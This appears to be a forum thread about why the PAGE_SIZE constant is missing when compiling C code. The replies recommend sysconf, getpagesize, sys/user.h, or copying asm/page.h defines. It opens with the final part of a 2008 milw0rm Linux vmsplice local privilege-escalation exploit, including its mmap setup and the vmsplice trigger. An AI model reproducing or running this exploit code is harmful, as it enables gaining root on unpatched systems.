if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]
Using a compile-time constant for the page size of your system is typically not a smart thing to do, as it's not necessarily constant. For example, on the latest x86 CPUs, your operating system can choose between using 4 KiB, 2 MiB and even 1 GiB pages (or even combine them in the same address space). For this reason, POSIX hasn't standardized the PAGE_SIZE constant.
Many systems therefore provide a getpagesize() function, but keep in mind that the POSIX standardized way of obtaining the page size is by using the sysconf() function:
#include <stdio.h>
#include <unistd.h>
int main() {
printf("%lu\n", sysconf(_SC_PAGESIZE));
}
On my Mac, this program prints the number 4096.
PAGE_SIZE is only declared in the kernel headers. You can get the current page size from userland using getpagesize() from unistd.h though, e.g.
#include <unistd.h>
int main() {
size_t psize = getpagesize();
}
For me
#include <sys/user.h>
does the trick. The file is part of glibc-headers.
Heylo. I had similar trouble compiling the excellent memfetch tool by the veritable techie and fellow countryman Michael Zalewski. Anyway after getting sick of messing around with the problem and searches that led to no answers (like this post, for example), I solved my problem.
I took this straight from the asm/page.h file:
/* PAGE_SHIFT determines the page size */
#define PAGE_SHIFT 12
#ifdef __ASSEMBLY__
#define PAGE_SIZE (1 << PAGE_SHIFT)
#else
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#endif
#define PAGE_MASK (~(PAGE_SIZE-1))
And I dropped it into the C file that needed compiling. In this case, memfetch.c
I dropped it in right after the includes, in with the code's own set of DEFINEs.
Worked like a charm and the program - a memory mapper seems to be working great. I've just done it - can't say yet if for example the pages or mem values are off or anything.
Note - Go grab your own asm/page.h defines. Actually I think they were in asm-generic/page.h Dunno if they are diff; most certainly are on an x86_64.
Good luck!

Resources